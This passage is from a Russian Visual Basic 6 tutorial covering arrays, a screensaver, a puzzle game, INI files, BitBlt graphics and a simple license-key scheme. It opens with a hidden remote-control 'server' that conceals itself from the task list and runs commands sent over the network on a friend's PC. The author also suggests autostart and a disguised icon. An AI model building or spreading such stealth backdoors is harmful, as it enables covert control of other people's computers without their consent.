    ret = GetWindowLong(Form1.hwnd, GWL_EXSTYLE)
    SetWindowLong Form1.hwnd, GWL_EXSTYLE, ret Xor WS_EX_APPWINDOW
    ShowWindow Form1.hwnd, SW_NORMAL

    Timer1.Interval = 1000 ' Включаем таймер
    ' Скрываем программу от CTRL + ALT + DEL
    RegisterServiceProcess GetCurrentProcessId, 1
    End Sub

    Private Sub Timer1_Timer()
    Do ' Цикл
    DoEvents ' Это чтоб система не повисла
    If Winsock1.State <> sckConnected And Winsock1.State <> sckListening Then ' Если не установлена связь, и порт не прослушивается, то
    Winsock1.Close ' Закрываем соединение
    Winsock1.LocalPort = 1000 ' Устанавливаем порт
    Winsock1.Listen ' Начинаем слушать порт
    End If
    Loop
    End Sub

    Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
    Winsock1.Close ' Закрываем соединение(если оно открыто)
    Winsock1.Accept requestID ' Принимаем запрос
    End Sub

    Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) ' Принимаем команды от клиента:
    Dim Data As String
    Winsock1.GetData Data ' Записываем текст посланный клиентом в переменную
    If Data = "CD" Then mciSendString "Set CDAudio Door Open Wait", 0&, 0, 0 ' Если от клиента пришел текст "CD", то открываем сидюк
    ' Здесь все анологично
    If Data <> "End" And Data <> "CD" Then MsgBox Data, 64, ""
    If Data = "End" Then End
    End Sub

    Private Sub Form_Unload(Cancel As Integer)
    RegisterServiceProcess GetCurrentProcessId, 0 ' Показываем программу в списке CTRL + ALT + DEL
    End Sub

    Ну все, теперь сервер дай другу(только в начале его IP узнай(ил имя компа)), скажи ему чтоб в чат зашел(ну там договорись в определенное время), и управляй его компом.
    P.S. Сервер немного не доделан, можно сделать чтоб он в реестре прописался, и иконка была как у рисунка.
    Исходник

    ШАГ 147

    Массивы. Переменные:

    Массив нужен для того чтоб писать меньше кода(но это только в том случае, если переменные имеют много общего), и если его использовать программа будет быстрее работать.
    В массиве могут участвовать переменные и объекты, начнем с переменных:
    Скажу только что массиве используются(переменные ил объекты) с одинаковыми именами, и почти всегда в цикле.
    Для объявления массива надо написать:
    Dim Mass(число) As Тип(ну там Long, String...)
    Например:
    Dim Mass(10) As Long
    Теперь сделаем простую программу(Заполнение массива). Код:

    Dim Mass(10) As String ' Объявляем массив с индексом 10, для хранения символов
    Private Sub Form_Load()
    ' Заполняем массив:
    Mass(0) = "Хей" ' только надо помнить, что самый первый индекс равен 0
    Mass(1) = "Бляха"
    Mass(2) = "..."
    ' ...
    Mass(10) = "The End(т.е. - упор)" ' И так до упора
    End Sub

    Вот пример заполнения массива автоматом, программа с помощью оператора Rnd заполняет массив значением 0 ил словом "Bla", в конце выводится сообщение, в котором написанно как массив заполнен. Вот код:

    Dim Mass(10) As String ' Объявляем массив с индексом 10, для хранения символов
    Dim r As Long ' Переменная для хранения чисел
    Dim G As String ' Переменная для хранения символов
    Private Sub Form_Load()
    Randomize ' Это чтоб в функции Rnd генерировались разные числа
    For i = 0 To 10 ' Цикл, будет 10 раз повторяться
    Mass(i) = 0 ' Все числа массива приравниваем к 0
    r = Rnd * 1 ' Генерируем случайное число(от 0 до 1) и записываем его в переменную R
    If r = 0 Then ' Если R=0 то:
    Mass(i) = "Bla" ' Записываем в массив(индекс зависит от переменной i) слово "Bla"
    End If
    G = G & i & " = " + Mass(i) + Chr(13) ' Переменная G = G(это содержимое переменной)&i(это перенная содержит число повторений цикла) + " = " + Mass(i)(значение массива(ил "Bla" ил "0")) + Chr(13)(ну это Enter(т.е. новая строка))
    Next i
    MsgBox G, 48, "" ' Выводим сообщение с содержанием G(а G содержит значение массива)
    End Sub

    Исходник

    ШАГ 148

    Массивы. Объекты:

    При помощи массивов можно изменять свойства сразу несколких объектов, например, на форму кинь 1 кнопку, копируй ее, и нажми на Вставить(Paste(Ctrl + V)), появится сообщение, и 3 варианта, короче жми на - "Да", и так еще 3 раза. У тебя на форме 3 кнопки с одинаковыми именами, только Свойство index у них разное(от 0 до 4). Вот это нам и надо, короче сейчас сделаем программу, которая будет при нажатии на кнопку выводить сообщение со значением свойства Left. Код:

    Dim k
    Private Sub Command1_Click(Index As Integer)
    k = Command1(Index).Left
    MsgBox k
    End Sub

    Ну здесь все понятно, сейчас сделаем программу которая будет передвигать кнопки в лево. Опять на форме размести 5 кнопок с одинаковым именем. Код:

    Dim k
    Private Sub Command1_Click(Index As Integer)
    For i = 0 To 4
    Command1(i).Left = Command1(i).Left + 300
    Next i
    End Sub

    Ну Здесь тоже все понятно. Исходник

    ШАГ 149

    Делаем хранитель экрана(ScreenSaver(Заставка))

    В VB очень просто делать заставки, вот сейчас мы сделаем простую заставку, которая будет рисовать на форме круги. ОК? На форму кинь текстовое поле(Visible = False, Text = 0), Timer(Interval = 1), у формы свойство BorderStyle = 0. Код:

    ' Объявляем переменные
    Dim EX As Long
    Dim d As Long

    Private Sub Form_KeyPress(KeyAscii As Integer) ' При нажатии на клавишу выходим из программы
    Unload Me
    End Sub

    Private Sub Form_Load()
    Randomize ' Генерируем всегда разные числа
    ' Форму ставим в левый верхний угол экрана
    Form1.Left = 0
    Form1.Top = 0
    ' Делаем размеры формы на весь экран
    Form1.Height = Screen.Height
    Form1.Width = Screen.Width
    Form1.DrawWidth = 40 ' Задаем толщину рисуемых на форме объектов(в нашем случае круги, а так, вместо кругов может быть и линия, и точка)
    EX = 0
    End Sub

    ' При передвижении мыши выходим из программы
    Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
    EX = EX + 1
    If EX >= 9 Then Unload Me
    End Sub

    Private Sub Timer1_Timer()
    Do ' Цикл
    DoEvents ' Это чтоб комп не завис
    c = RGB(Rnd * 255, Rnd * 255, Rnd * 255) ' RGB - это кодировка цвета, она означает Red Green Blue, это 3 цвета, и при их смешивании получаются разные цвета. Максимальное значение каждого цвета 255(R<=255, G<=255, B<=255). Короче смысл этой стоки это присвоить переменной "c" случайный цвет
    Form1.Circle (Fix(Rnd * 19255), Fix(Rnd * 14255)), Rnd * 1000, c ' Рисуем круги(бублики:-))
    Text1.Text = Val(Text1.Text) + 1 ' Это не много за тормозит цикл
    Loop
    End Sub

    Ну усе, заставка готова, теперь нажми на File>>Make Project1.exe(Компилировать Project1.exe), и в поле имя файла впиши ScreenSaver.scr, нажимай на OK. Все, теперь файл откомпилировался не как EXEшник, а как SCR. Теперь по откомпилированному файлу кликни правой кнопой мыши, и в меню нажми на Тест. Работает??? Отлично!!! Теперь помести этот файл в папку Windows, войди в свойства: Экран(Панель управления>>Экран), выбери вкладку Заставка, и поменяй заставку на ScreenSaver. Все.
    Исходник

    ШАГ 150

    Делаем игру Пятнашки:

    Сейчас мы сделаем игру - "Пятнашки", кто в такую не играл, то запоминай правила:
    Надо расставить кнопки так, чтоб они были от 1 до 15. Ну короче скачай исходник и потренируйся(ну там поиграй, т.к. в начале надо научиться играть, а потом делать). ОК?
    Скажу сразу, что этот шаг создовался по исходнику Павела Чаговского.
    Ну, будем считать что ты научился играть, и теперь начнем делать:
    На форму кинь кнопку(Command 1, Height = 495, Width = 615, Caption = ""), теперь копируй ее, и 14 раз вставь(короче тебе надо чтоб было 15 кнопок с одним именем и свойствами).
    На форму кинь еще 1 кнопку(Name = Command2, Caption = "Новая игра"), 1 Shape(Shape = 0 Rectangle, BackStyle = 1 Opaque). Раставь все кнопки, короче вот что у тебя должно получиться:

    Код:

    'Объявляем переменные
    Dim L As Long, T As Long, K As Long

    Private Sub Command1_Click(Index As Integer)
    L = Command1(Index).Left ' Записываем в переменную значение свойства Left нажатой кнопки(например, если нажата кнопка с индексом 6, то L = Command1(6).Left, ну ты меня понял??)
    T = Command1(Index).Top ' В переменную записываем значение свойства Top нажатой кнопки
    ' Двигаем влево:
    If Shape1.Left - 720 = L And Shape1.Top = T Then ' Если нажатая кнопка находиться напротив Shapa то:
    ' Меняем кнопку и Shape местами
    K = Command1(Index).Left
    Command1(Index).Left = Shape1.Left
    Shape1.Left = K
    End If
    'Двигаем вправо

    If Shape1.Left + 720 = L And Shape1.Top = T Then
    K = Command1(Index).Left
    Command1(Index).Left = Shape1.Left
    Shape1.Left = K
    End If

    ' Двигаем в вверх:
    If Shape1.Top - 600 = T And Shape1.Left = L Then
    K = Command1(Index).Top
    Command1(Index).Top = Shape1.Top
    Shape1.Top = K
    End If
    ' Двигаем вниз
    If Shape1.Top + 600 = T And Shape1.Left = L Then
    K = Command1(Index).Top
    Command1(Index).Top = Shape1.Top
    Shape1.Top = K
    End If
    ' Ну, это если все кнопки правильно выстроены(от 1 до 15, и последняя Shape) то поздравляем победителя
    ' только если на форме кнопки хоть на децл сдвинуты, то этот код работать не будет. ' Символ "_" нужен для переноса строки

    If Command1(0).Left = 480 And Command1(1).Left = 1200 And Command1(2).Left = 1920 _
    And Command1(3).Left = 2640 And Command1(4).Left = 480 And Command1(5).Left = 1200 _
    And Command1(6).Left = 1920 And Command1(7).Left = 2640 And Command1(8).Left = 480 _
    And Command1(9).Left = 1200 And Command1(10).Left = 1920 And Command1(11).Left = 2640 _
    And Command1(12).Left = 480 And Command1(13).Left = 1200 And Command1(14).Left = 1920 _
    _
    And Command1(0).Top = 1080 And Command1(1).Top = 1080 And Command1(2).Top = 1080 _
    And Command1(3).Top = 1080 And Command1(4).Top = 1680 And Command1(5).Top = 1680 _
    And Command1(6).Top = 1680 And Command1(7).Top = 1680 And Command1(8).Top = 2280 _
    And Command1(9).Top = 2280 And Command1(10).Top = 2280 And Command1(11).Top = 2280 _
    And Command1(12).Top = 2880 And Command1(13).Top = 2880 And Command1(14).Top = 2880 Then
    MsgBox "Ты победил"
    End If
    End Sub

    Function Meshalka() ' Создаем Функцию Meshalka
    Randomize ' генерируем всегда разные числа
    For i = 0 To 900 ' Делаем цикл от 0 до 900(это чтоб хорошо перемешалось)
    d = Fix(Rnd * 14) ' В переменную d записываем случайное число от 0 до 14
    ' Записываем в переменную координаты случайно выбранной кнопки
    q = Command1(d).Left
    w = Command1(d).Top
    ' Запиcываем координаты Shape
    e = Shape1.Left
    r = Shape1.Top

    ' Ставим кнопку на место Shape
    Command1(d).Left = e
    Command1(d).Top = r
    ' Ставим Shape на место кнопки
    Shape1.Left = q
    Shape1.Top = w
    ' P.S. и так 900 раз
    Next i
    End Function

    Private Sub Command2_Click()
    Meshalka ' При нажатии на кнопку, мешаем
    End Sub

    Private Sub Form_Load()
    ' Устанавливаем заголовки для всех кнопок
    For i = 0 To 14 ' Устанавливаем надписи на кнопках
    Command1(i).Caption = i + 1 ' К индексу кнопки прибавляется 1, т.к. у самой первой кнопки index = 0
    Next i
    Meshalka ' Мешаем кнопки
    End Sub

    Исходник

    Шестнадцатая часть

    Автор учебника: Падре
    Дата создания: 22 мая 2003 года

    Часть 1 | Часть 2 | Часть 3 | Часть 4 | Часть 5 | Часть 6 | Часть 7 | Часть 8 | Часть 9
    Часть 10 | Часть 11 | Часть 12 | Часть 13 | Часть 14 | Часть 15 | Часть 16 | Часть 17 | Часть 18

    Место под Банеры

    MS Visual Basic


Часть 1 | Часть 2 | Часть 3 | Часть 4 | Часть 5 | Часть 6 | Часть 7 | Часть 8 | Часть 9
Часть 10 | Часть 11 | Часть 12 | Часть 13 | Часть 14 | Часть 15 | Часть 16 | Часть 17 | Часть 18

ШАГ 151

Создание объектов(Массивы)

Не обязательно ныкать(Visible=FALSE) на форме объекты, и потом их показывать, можно просто на форму кинуть объект, и потом загружать другие, и ставить им свойства. Так вроде проще?
Начнем`с...
На форму кинь кнопку, потом кликни по ней правой кнопой мыши и выбери в меню Copy. Короче копируй кнопу.
Теперь нажми на форму правой кнопой мыши и выбери Paste. Короче вставь кнопку. После нажатия на Paste появляется окошко, жми на Да. Теперь выдели только что вставленную кнопу, и нажми на Del(твоя миссия удалить вставленную кнопу, т.к. на 1 форме нет места двум кнопкам:-)). Теперь код:

Dim t As Long ' Объявляем переменную

Private Sub Command1_Click(Index As Integer)
For i = 1 To 10' Делаем цикл от 1 до 10, спросишь почему не от 0 до 10? Да потому что объект с индексом 0 у нас есть, если написать от 0 до 10 то начнет ругаться(материться)

t = t + 500' Каждый цикл прибавляем к переменной t пятихатку, это переменная будет задовать высоту создаваемых кнопок, каждая кнопа на 500 ниже предыдущей
Load Command1(i)' Загружаем кнопу с именем Command1, а в скобах индекс( i каждый цикл на 1 больше, начинается с 1 до 10)
Command1(i).Caption = "Кнопа №:" & i' Устанавливаем свойство Caption для каждой кнопки
Command1(i).Top = t' Устанавливаем высоту(t = t + 500)
Command1(i).Left = 1700 ' Устанавливаем свойство Left
Command1(i).Visible = True' Показываем кнопки, т.к. они в начале скрытые
Next i
End Sub

Исходник ищи Здесь

ШАГ 152

Удаление объектов(Массивы)

Для удаление объектов есть оператор UnLoad "Имя объекта(индекс)"
Например, сделаем программу которая в начале будет создавать, а потом удалять объект. Создай массив кнопок(Если забыл, то напоминаю: На форму кинь кнопку, потом кликни по ней правой кнопой мыши и выбери в меню Copy. Короче копируй кнопу.
Теперь нажми на форму правой кнопой мыши и выбери Paste. Короче вставь кнопку. После нажатия на Paste появляется окошко, жми на Да. Теперь выдели только что вставленную кнопу, и нажми на Del(твоя миссия удалить вставленную кнопу, т.к. на 1 форме нет места двум кнопкам:-)). ). Вот код:

Private Sub Form_Load()
' Создаем кнопку с индексом 1
Load Command1(1)
Command1(1).Visible = True
Command1(1).Top = 50
End Sub

Private Sub Command1_Click(Index As Integer)
'  Удаляем кнопку с индексом 1
Unload Command1(1)
End Sub

Исходник ищи Здесь

ШАГ 153

Что - то типа практики, ил шаг написанный для большинства

Ну в этом шаге сделаем простенькую программу, по теме создание объектов(массивы). Открой исходник предыдущего шага, и не много до пишем код:

Dim t As Long, S As Long ' Объявляем переменные

Private Sub Command1_Click(Index As Integer)
If S = 0 Then ' Если S = 0 то загружаем кнопки
For i = 1 To 10 ' Делаем цикл от 1 до 10, спросишь почему не от 0 до 10? Да потому что объект с индексом 0 у нас есть, если написать от 0 до 10 то начнет ругаться(материться)
t = t + 500' Каждый цикл прибавляем к переменной t пятихатку, это переменная будет задовать высоту создаваемых кнопок, каждая кнопа на 500 ниже предыдущей
Load Command1(i) ' Загружаем кнопу с именем Command1, а в скобах индекс( i каждый цикл на 1 больше, начинается с 1 до 10)
Command1(i).Caption = "Кнопа №:" & i ' Устанавливаем свойство Caption для каждой кнопки
Command1(i).Top = t' Устанавливаем высоту(t = t + 500)
Command1(i).Left = 1700 ' Устанавливаем свойство Left
Command1(i).Visible = True ' Показываем кнопки, т.к. они в начале скрытые
Next i
End If

If Command1(Index).Index = 0 Then MsgBox "Нажата кнопа 0"' Если Индекс нажатой кнопки равен 0 то сообщаем об этом
If Command1(Index).Index = 1 Then MsgBox "Нажата кнопа 1"
If Command1(Index).Index = 2 Then MsgBox "Нажата кнопа 2"
If Command1(Index).Index = 3 Then MsgBox "Нажата кнопа 3"
If Command1(Index).Index = 4 Then MsgBox "Нажата кнопа 4"
If Command1(Index).Index = 5 Then MsgBox "Нажата кнопа 5"
If Command1(Index).Index = 6 Then MsgBox "Нажата кнопа 6"
If Command1(Index).Index = 7 Then MsgBox "Нажата кнопа 7"
If Command1(Index).Index = 8 Then MsgBox "Нажата кнопа 8"
If Command1(Index).Index = 9 Then MsgBox "Нажата кнопа 9"
If Command1(Index).Index = 10 Then MsgBox "Нажата кнопа 10"

S = 1 ' S = 1, это для того чтоб при нажатии на кнопку не происходили ошибки, т.к. начнут создаваться кнопки, а они уже есть, и VB ругаться начинает
End Sub

Private Sub Form_Load()
S = 0
End Sub

Исходник ищи Здесь

ШАГ 154

Работа с INI файлами.

В файлах с расширением *.INI хранятся настройки программы, вобще с появлением виндоваза 95(и выше) ini файлы стали не так популярны, т.к. дядя Билл изобрел реестр. В нем на много удабнее записывать настройки, но ini файлы все равно еще живы, т.к. у них есть свои плюсы(например можно переносить настройки вместе с программой на другой комп).
*.Ini файлы выглядят так:(они открываются обычным блокнотом)
[Setup]
Left=1000
Top= 4534
[Other]
Title = Заголовок
 То что находится между скобами [] называется разделом, то что перед знаком = - переменная, то что после - значение переменной. В след. шаге сделаем программу для записи в ini файл, а потом чтение. Вобще все операции с ini можно делать только при помощи API.

ШАГ 155

Запись в *.ini файл.

Как всегда сделаем программу, на форму кинь текст. поле, кнопку(Caption = "Запись"), вот код:

' Объявляем API
Private Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long

Private Sub Command1_Click()
Dim Left As String, Top As String, Text As String
' Устанавливаем значение переменных
Left = Form1.Left
Top = Form1.Top
Text = Text1.Text

WritePrivateProfileString "Setup", "Left", Left, App.Path & "/set.ini" ' Записываем в раздел Setup в переменную Left значение переменной Left(Form1.Left), и все это записываем в файл set.ini(при помощи App.Path узнаем путь к программе), если этого файла нет то он создается.
WritePrivateProfileString "Setup", "Top", Top, App.Path & "/set.ini" ' Записываем значение переменной Top
 WritePrivateProfileString "Text", "Text1", Text, App.Path & "/set.ini" ' Записываем текст, который находится в текстовом поле(в переменной Text)
End Sub
Исходник ищи Здесь

ШАГ 156

Чтение из *.ini файлов

Для чтения файлов есть API GetPrivateProfileString, ща мы сделаем программу, которая при загрузке перемещает форму на то значение, которое указанно в файле set.ini, в разделе Setup, переменной Left. Код:

'Объявляем API для чтения
Private Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
Private Sub Form_Load()
Dim Htenie
Dim z As String
z = Space(255) ' Выделяем место в памяти из 255 пробелов(можно написать так z="255 раз нажми на пробел(хотя можно и меньше(я вписал 255 т.к. это 1 строчка))"), для записи(см. ниже) значения читаемой переменной
Htenie = GetPrivateProfileString("Setup", "Left", "no", z, 255, App.Path & "/set.ini") ' Считываем из ключа Setup, значение переменной Left. Я написал слово "no"(можно вписать любое), это слово нам потом пригодится(если ключа/переменной нет, то z будет равно слову no).
z = Left(z, Htenie) ' убираем все ненужные символы с правой стороны у строки, чтобы получить настоящее значение.
If z = "no" Then
MsgBox "Такого раздела/переменной не существует" ' Если ключа/переменной нет, то сообщем об этом
Else
Form1.Left = val(z) ' Ставим форму на то место, которое указано в файле ini. (в разделе Setup переменной Left)
End If
End Sub
Исходник ищи здесь

ШАГ 157

Функция BitBlt

Часто народ спрашивает: "Как убрать мерцание при передвижение объектов??? КАК?????". Вобще для этого есть DirectX, но его хрен два освоишь(по себе знаю), а есть еще и функция BitBlt. У ней возможности намного меньше, но работать с графикой без мерцания она может. Начнем`с... Сделаем программу которая будет перемещать наш рисунок, БЕЗ мерцания.
На форму кинь, Таймер, Picture, и засунь туды какой - нибуть рисунок(главное чтоб не очень большой, можешь мою фотку взять:
Падре)

Теперь установи свойства для формы:
Form1:
Scalemode = 3-Pixel AutoRedraw = True

Теперь свойства для Picture1:
ScaleMode 3-Pixel
Picture1 AutoRedraw True
Picture1 Visible False

У таймера:
Timer1 Interval 1

Код:

' Объявляем API
Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long
Dim x As Long, y As Long

Private Sub Form_Load()
Draw ' Запускаем функцию
x = 0
y = 0
End Sub

Function Draw() ' Функция Draw
Form1.Cls ' Очищаем форму
' При помощи функции BitBlt берем картинку из Picture1(ширина и высота картинки равна ширине и высоте Picture1), и начинаем рисовать ее на форме с координатами x и y
BitBlt Form1.hDC, x, y, Picture1.ScaleWidth, Picture1.ScaleHeight, Picture1.hDC, 0, 0, vbSrcCopy
Form1.Refresh ' Обновляем форму(при использование свойства AutoRedraw = True, форму надо всегда обновлять...)
End Function

Private Sub Timer1_Timer()
' Перемещаем картинку в право на 1 пиксель
x = x + 1
' Опускаем ее вниз
y = y + 1
' Повторяем функцию Draw
Draw
End Sub

Исходник ищи Здесь

ШАГ 158

Функция BitBlt. Маска:

Очень часто при работе с графикой нужно сделать прозрачный фон у картинки, т.к. фон картинки может не вписываться в фон формы(ил другого объекта). Можно конешно у формы сделать черный фон, и у рисунка, но будет все уродско.
А вот для создания картинки с прозрачным фоном нужно создать маску этой картинки, а у самой картинки сделать черный фон. Не будем далеко уходить, и возьмем мою фотку. Вместо зеленого фона, сделаем прозрачный. Начнем.
Для начала сделаем у картинки черный фон, и маску(белый фон, а сама картинка черная):

Картинка:
Маска

Для создания маски(и фона самой картинки) я использовал обычный Point(Программы>>Стандартные...), хотя намного удобнее будет в FhotoShope, ил др. граф. редакторах. При создании маски главное чтоб все изображение было черным.
Теперь перейдем к программной части, на форму кинь 2 Picture:
ScaleMode = 3-Pixel
AutoRedraw = True
Visible = False
У Picture1 Picture = "Маска.gif"
У Picture2 Picture = "Картинка.gif(только не просто картинка, а та что с черным фоном)"

Свойства Form1:
Scalemode = 3-Pixel
AutoRedraw = True

И кинь еще кнопку на форму, ОК?
Вот код:

' Объявляем API
Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long
Private Sub Command1_Click()
' Рисуем маску на форме(с режимом vbSrcAnd)
BitBlt Form1.hDC, 0, 100, Picture1.ScaleWidth, Picture1.ScaleHeight, Picture1.hDC, 0, 0, vbSrcAnd ' Рисуем саму картинку(с режимом vbSrcPaint)
BitBlt Form1.hDC, 0, 100, Picture2.ScaleWidth, Picture2.ScaleHeight, Picture2.hDC, 0, 0, vbSrcPaint
Form1.Refresh ' Обновляем форму
End Sub

Исходник ищи Здесь.

ШАГ 159

Функция Dir

Эта функция нужна для проверки существования каталога или файла. Я забыл написать ее в пятой части(там о работе с файлами), а теперь этот шаг туда не помещается. Начнем`с. На форму кинь кнопку, вот код:

Private Sub Command1_Click()
If Dir("c:\1.txt") <> "" Then ' Если файла/папки не существует, то функция возвращает "", если же существует, то функция возвращает имя файла
MsgBox "Файл существует"
Else
MsgBox "Файл не существует"
End If
End Sub

Теперь создай в диске C:\ файл текстовой с именем 1, нажми на кнопку, а потом удали файл, и опять нажми.
Исходник ищи Здесь.

Друние функции

1. FileLen - Узнает длину файла. Пример: Print FileLen("c:\1.txt")
2. FileDateTime - Узнает дату последней модификации файла. Пример: Print FileDateTime("c:\autoexec.bat")

ШАГ 160

Делаем регистрацию для своей программы

Наверняка, если ты напишешь супер программу ты захочешь на ней бабло заработать. Вот только может хрень такая получиться, ты продашь челу программу, а он начнет ее распространять(сайты всякие делать, на болванки скидывать(и продавать)). Так чтоб этого избежать, т.е. защитить свою программу от пиратов и злых дядек, надо сделать регистрацию программы. Т.е. программой сможет пользоваться только тот кто заплатил за нее деньги, и зарегистрировал. Надо сделать так, что б на каждом компе был свой серийный номер и ключ, т.к. если у всех будут одинаковые ключи и с/н то ты продашь ее одному челу, а он начнет всем говорить коды.
Ну, тянуть не буду, скажу идею:
На форме 2 текст. поля, первое текст. поле это с/н, при первом запуске программы в заныканый файл(или реестр) записывается случайный с/н(RND). Второе текстовое поле, это ключ. Он высчитывается в зависимости от с/н, по определенной формуле(например ключ = с/н * 3/555+1). Так вот, чел присылает тебе свой с/н(а он на каждом компе свой) + бабло, а ты ему ключ. Идею понял?? Ну тогда начнем`с:
Как я уже и говорил, на форму кинь кнопку(Caption = "Регистрация"), 2 текст. поля(в ряд), 2 метки(у первой Caption = "Серийный номер", она находится напротив первого текст. поля, у второй: Caption = "Ключ", напротив второго текст. поля). Вот что у тебя должно получиться:

Теперь подайдем к коду:

Dim SNPath As String ' В этой переменной будет храниться путь к заныканому файлу с с/н
Dim GetReestr As String ' В эту переменную будет читаться данные из реестра
Dim Serial As String ' А эта переменная, будет загружать в текст. поле 1 с/н из файла

Function Start() ' Эта функция будет выполняться если программа зарегистрирована
End ' Я написал End, а ты можешь сюда что - нбудь по умнее вставить
End Function

Private Sub Form_Load() Randomize ' Этот оператор нужен для того, чтоб всегда генерировались случайные числа(RND(ты что забыл??))
On Error Resume Next ' Если происходит ошибка, то игнорируем ее
GetReestr = GetSetting("proga", "serial", "serial") ' Читаем из реестра значение параметра serial(если serial = 0, значит программа не зарегистрированая, а если 1 то зарег-на)

SNPath = Environ("windir") & "\key.sn" ' В переменную SNPath - записываем путь к заныканому в папке windows файлу key.sn
f = FreeFile

If Val(GetReestr) <> 1 Then ' Если GetReestr не равен 1, то продолжаем регистрацию, если же = 1, то программа уже зарегистрирована
If Dir(SNPath) = "" Then ' Если файла с с/н не существует, то:
Text1.Text = Fix(Rnd * 8000000000#) ' Генерируем случайное число(в любом пределе, можно вместо 8 с деветью нулями написать любое число), и округляем его(Fix())
Serial = Text1.Text ' Это число записываем в перем. Serial
Open SNPath For Output As f ' Открываем заныканный файл
Print #f, Text1.Text ' Записываем в него с/н из текст. поля 1
Close #f ' Закрываем
SaveSetting "proga", "serial", "serial", 0 ' Записываем в реестр параметр Serial со значением 0(ноль означает что программа не зарегистрирована)
Else ' Если же файл существует, то читаем из него с/н
Open (SNPath) For Input As f
Serial = Val(Input(LOF(f), f))
Text1.Text = Serial ' В текс. поле помещаем с/н
Close #f
End If
Else ' Если же в реестре параметр Serial = 1(программа зарег-на), то запускаем функцию Start
Start
End If
End Sub

Private Sub Command1_Click() ' При нажатии на кнопку:
Text1.Text = Serial ' Копируем в текст. поле значение переменной serial(на случай, если чел изменил текст в текст. поле 1)
If Text2.Text = Fix(Val(Serial) * 3 + 333 / 2) Then ' Вот самое интересное :-), если текст. поле 2(ключ) равен с/н умноженному на 3 + 333 / 2
SaveSetting "proga", "serial", "serial", 1 MsgBox "Программа зарегистрирована" Start ' Запускаем функцию Start
Else
MsgBox "Введен не правильный ключ!!! Для регистрации отправь автору программы с/н и $, а он вышлет тебе ключ" End If
End Sub

Ну вот и все, чтобы узнать ключ с/н * 3 + 333 / 2. Для этого лучше написать программу(см. след. шаг) Исходник ищи Здесь.

Семнадцатая часть

Автор учебника: Падре
Дата создания: 12 декабря 2003 года

Часть 1 | Часть 2 | Часть 3 | Часть 4 | Часть 5 | Часть 6 | Часть 7 | Часть 8 | Часть 9
Часть 10 | Часть 11 | Часть 12 | Часть 13 | Часть 14 | Часть 15 | Часть 16 | Часть 17 | Часть 18

Место под Банеры

Логотипы, банеры, сайты на заказ


Часть 1 | Часть 2 | Часть 3 | Часть 4 | Часть 5 | Часть 6 | Часть 7 | Часть 8 | Часть 9
Часть 10 | Часть 11 | Часть 12 | Часть 13 | Часть 14 | Часть 15 | Часть 16 | Часть 17 | Часть 18

ШАГ 161

Делаем генератор ключа

Хотя этот шаг не стоило писать, т.к. это очень примитивная программка. Эта програмка будет по с/н(который пришлет покупатель программы) делать ключ:
На форму кинь кнопку(Caption = "Crack"), 2 текст. поля(в ряд), 2 метки(у первой Caption = "Введите Серийный номер", она находится напротив первого текст. поля, у второй: Caption = "Ключ", напротив второго текст. поля). Вот что у тебя должно получиться:

Теперь код:

Private Sub Command1_Click()
Text2.Text = Fix(Val(Text1.Text) * 3 + 333 / 2) ' По С/Н узнаем ключ
End Sub

Исходник ищи Здесь.

ШАГ 162

Оператор Goto

Этот оператор служит для пропуска определенной части кода.
Синтаксис:
Goto метка:
Метка:
Весь код от Goto метка: до метка: пропускается.
Например, сейчас сделаем программу которая будет перескакивать оператор Exit Sub. На форму кинь кнопку.
Вот Код:

Dim x As Long

Private Sub Command1_Click()
x = x + 1 ' При каждом клике по кнопке к перем. x прибавляем 1
If x = 2 Then GoTo qw: ' Если x = 2 то с помощью оператора Goto пропускаем весь код до qw:
Exit Sub ' Выходим из процедуры
qw: ' Метка, до которой пропускается весь код от оператора Goto qw:
MsgBox "Оператор Goto" ' Выдаем сообщение
End Sub Исходник ищи Здесь.

ШАГ 163

Файлы ресурсов

В файлах ресурсов можно хранить картинки, текст, аудио... Для чего это нужно?:
Например, ты делаешь программу в которой очень много рисунков. Можно все рисунки положить в отдельную папку, но это будет не прикольно(т.к. любой смертный сможет удалить/изменить эти рисунки). А если положить все рисунки в файл ресурсов, то все рисунки откомпилируются в 1 exe файл, и никто их не изменит. Вот так :-)
Начнем`c.
Открой VB, Standart EXE. Нажми Дополнения(Add ins) >> Менеджер дополнений(Add ins Manager). Открывается окошко, в нем найди строку: VB 6 Resource Editor, и в нижнем правом углу поставь две галки на: Startup/Loaded и Startup/Unloaded(Загрузить/выгрузить и Загрузить при старте). На верхней панели у тебя должен появится такой значок:
Нажми на него:

ШАГ 164

Загрузка из файлов ресурсов

Для загрузки из файлов ресурсов есть 3 функции:
LoadResData
LoadResPicture
LoadResString
LoadResString - загружает строку из файла. Пример:
Private Sub Command1_Click()
Text1.Text = LoadResString(101) ' Загружаем текст из файла ресурсов, с id номером 101
End Sub
LoadResPicture - Функция загружает изображение, значок или курсор.
Синтаксис: LoadResPicture(id, restype)
id - номер рисунка(например, 102)
restype - значение этого параметра указывают на тип файла(0 - изображение, 1 - значок, 2 - курсор)
С LoadResData я так и не разобрался, если ты знаешь как этой функцией пользоваться, то напиши мне. ОК?

ШАГ 165

Работа с Image. Масштабирование.

Сейчас мы сделаем программу, которая будет уменьшать/увеличивать рисунок. На форму кинь 2 кнопки(1ая - Caption = "+", у второй "-"), и объект Image(свойство stretch = True (в этом свойстве все и заключается)).

Private Sub Command1_Click()' Увеличиваем
Image1.Width = Image1.Width + 100
Image1.Height = Image1.Height + 100
End Sub

Private Sub Command2_Click()' Уменьшаем масштаб
Image1.Width = Image1.Width - 100
